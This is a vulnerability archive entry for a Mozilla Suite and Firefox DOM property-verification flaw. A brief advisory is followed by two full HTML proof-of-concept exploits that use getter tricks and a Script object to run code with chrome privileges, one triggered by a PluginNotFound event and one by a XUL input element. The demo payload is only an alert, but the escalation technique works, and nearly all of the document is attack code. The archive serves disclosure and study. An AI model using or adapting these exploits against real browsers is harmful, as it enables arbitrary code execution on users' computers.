69 lines
No EOL
2.2 KiB
HTML
69 lines
No EOL
2.2 KiB
HTML
source: https://www.securityfocus.com/bid/13645/info
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Mozilla Suite and Mozilla Firefox are affected by a code-execution vulnerability. This issue is due to a failure in the application to properly verify Document Object Model (DOM) property values.
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An attacker may leverage this issue to execute arbitrary code with the privileges of the user that activated the vulnerable browser, ultimately facilitating a compromise of the affected computer.
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This issue is reportedly a variant of BID 13233. Further details are scheduled to be released in the future; this BID will be updated accordingly.
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<html>
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<head>
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<title>Proof-of-Concept for Firefox 1.0.3 - by moz_bug_r_a4</title>
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<body>
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<script>
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// it needs chrome privilege to get |Components.stack|
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var code = "alert('Exploit!\\n\\n' + Components.stack);";
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var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
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var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";
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var script = (function() {
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function x() { new Object(); }
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return new Script(scriptCode);
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})();
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document.body.__defineGetter__("type", function() {
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return { toString : script };
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});
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var event = document.createEvent("Events");
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event.initEvent("PluginNotFound", true, true);
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document.body.dispatchEvent(event);
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</script>
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</body>
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-----------------------------------------------------------------------------------------
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<html>
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<head>
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<title>Proof-of-Concept for Mozilla 1.7.7 - by moz_bug_r_a4</title>
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<body>
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<div id="d"></div>
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<pre>
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Click on the red box.
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</pre>
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<script>
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// it needs chrome privilege to get |Components.stack|
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var code = "alert('Exploit!\\n\\n' + Components.stack);";
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var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
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var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";
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var script = (function() {
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function x() { new Object(); }
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return new Script(scriptCode);
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})();
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var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
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var node = document.createElementNS(xulns, "input");
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node.__defineGetter__("type", function() {
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return { toString : script };
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});
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node.style.width = "100px";
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node.style.height = "100px";
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node.style.backgroundColor = "#f00";
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document.getElementById("d").appendChild(node);
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</script>
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</body> |